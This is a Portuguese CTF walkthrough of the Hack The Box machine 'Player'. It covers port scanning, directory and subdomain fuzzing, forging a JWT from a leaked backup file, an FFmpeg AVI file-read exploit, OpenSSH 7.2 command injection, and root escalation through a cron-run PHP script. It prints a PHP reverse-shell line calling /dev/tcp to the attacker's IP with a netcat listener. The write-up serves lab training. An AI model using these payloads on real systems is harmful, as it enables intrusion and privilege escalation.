Hack The Box - Jogador passo a passo. Exploração do FFmpeg, JWT e várias listagens na web

imagem

Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, examinaremos o JWT, realizaremos enumerações da Web como a pesquisa de diretórios, subdomínios e arquivos de backup, exploraremos o SSRF no codificador FFmpeg e o RCE no SSH.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em computação forense, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

Inteligência


Verificação de porta


Esta máquina possui um endereço IP 10.10.10.145, que eu adiciono ao / etc / hosts.

10.10.10.145 player.htb 

Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 1000 pacotes por segundo.

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000 

imagem

Em seguida, você precisa coletar mais informações sobre portas conhecidas. Para fazer isso, use o nmap com a opção -A.

 nmap -A player.htb -p22,80,6686 

imagem

Assim, o host executa o SSH nas portas 22 e 6686, bem como o servidor da web Apache em 80.

Enumerações da Web


Primeiro de tudo, vá assistir à web. Mas, infelizmente, não há nada de interessante.

imagem

Nesse caso, você geralmente precisa verificar os diretórios. Para fazer isso, use um calibre rápido. Nos parâmetros, indicamos que queremos verificar os diretórios (dir), especifique o site (-u), uma lista de palavras (-w), extensões que nos interessam (-x), o número de threads (-t).

 gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php 

A partir desses diretórios, um lançador interessante. Ele diz que este é um serviço de edição de vídeo e precisamos de um email válido.

imagem

Tendo brincado um pouco com o formulário, notei que ele envia dados para a página /launcher/dee8dc8a47256c64630d803a4c40786c.php, lá verifica e redireciona de volta.

imagem

De tudo o que temos, nada e nada nos dará. O próximo passo na lista é a pesquisa de subdomínios. Recentemente, depois que fui aconselhado a usar o wfuzz, eu o uso e aconselho o mesmo a outras pessoas. Especifique o cabeçalho (-H), dicionário (-w), URL (-u) e exclua o código de resposta 403 (--hc 403).

 wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403 

imagem

Assim, encontramos três subdomínios que também precisam ser adicionados ao / etc / hosts.

 10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb 

No dev, há apenas um formulário de autorização, no bate-papo apenas bate-papo inútil e na preparação de um formulário para alguns contatos.

imagem

imagem

imagem

Depois de testar um pouco o formulário, tudo o que temos é um redirecionamento para o 501.php e alguns dados com o erro indicado.

imagem

imagem

imagem

Mas, novamente, isso não foi suficiente. Além disso, o que geralmente esqueço, decidi verificar os backups dos arquivos. Portanto, foi descoberto /launcher/dee8dc8a47256c64630d803a4c40786c.php~

imagem

Nesse código, o JWT (token) é decodificado e verificado. Dependendo da verificação, ocorre um redirecionamento para uma das páginas. Se o token não for fornecido, nós o receberemos.

Como sabemos a chave e o valor final, podemos codificá-la e obter um token válido. Isso pode ser feito usando este site .

imagem

Temos um token codificado. E substitua-o na solicitação.

imagem

imagem

Como resultado, nos foi apresentado um formulário de upload de arquivo de mídia. Após o download da imagem, foi-nos oferecido o download do arquivo de mídia no formato AVI.

imagem

Ponto de entrada


Como o AVI é criado a partir do nosso arquivo, podemos usar uma exploração que permite ler arquivos. O código pode ser obtido aqui . Vamos verificar isso e ver o arquivo / etc / passwd.

imagem

Vamos verificar isso e ver o arquivo / etc / passwd.

 python3 gen_avi.py file:///etc/passwd passwd.avi 

Depois de baixar e abrir o arquivo, observamos o arquivo / etc / passwd.

imagem

Como podemos ler arquivos, precisamos coletar uma lista daqueles que conhecemos. Recordamos erros no arquivo contact.php. Vamos ler todos os arquivos listados lá.

imagem

E não havia nada interessante no arquivo de contato, a correção não pôde ser lida, mas no service_config encontramos o login e a senha.

imagem

Vamos tentar fazer login no dev.player.htb com eles - os dados não se encaixam, mas existem mais dois SSHs. A porta 22 é uma falha, mas no 6686 obtemos um shell.

imagem

USER


Mas o shell é limitado e lembrei-me da versão 7.2 e decidi verificar as explorações.

imagem

Assim, se tivermos credenciais, podemos executar a injeção de comando.

imagem

imagem

Eles também nos fornecem uma lista de comandos para leitura e gravação de arquivos. Lemos a bandeira do usuário.

imagem

ROOT


Agora devemos ter direitos suficientes para ler fix.php

imagem

Encontramos dados interessantes que já se encaixam no dev.player.htb. E lá encontramos o projeto.

imagem

E esse arquivo é acessível ao acessá-lo a partir do ambiente externo. Ou seja, podemos colocar a concha.

imagem

Para fazer isso, abra seu projeto.

imagem

Em seguida, crie um arquivo com o seguinte shell.

 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?> 

imagem

Agora abra a sessão usando o netcat.

 nc -lvp 4321 

Em seguida, passamos ao nosso arquivo.

imagem

imagem

Após concluir as enumerações e verificar mais algumas opções, paramos no processo de verificação. Graças ao pspy64, você pode determinar que o script buff.php é executado periodicamente com um UID de 0, ou seja, como raiz.

imagem

Vamos ver o que o script faz.

imagem

Ao tentar adicionar código a esse arquivo, encontramos um problema - não temos direitos.

imagem

Mas no script, outro arquivo está incluído, no qual temos o direito de escrever.

imagem

Escreveremos o shell já usado por nós nesse arquivo e no netcat estamos aguardando a conexão.

imagem

Dessa forma, obtemos o máximo de privilégios.

Você pode se juntar a nós no Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre nos ajudar em qualquer problema de segurança da informação e da TI.

Source: https://habr.com/ru/post/pt484568/


All Articles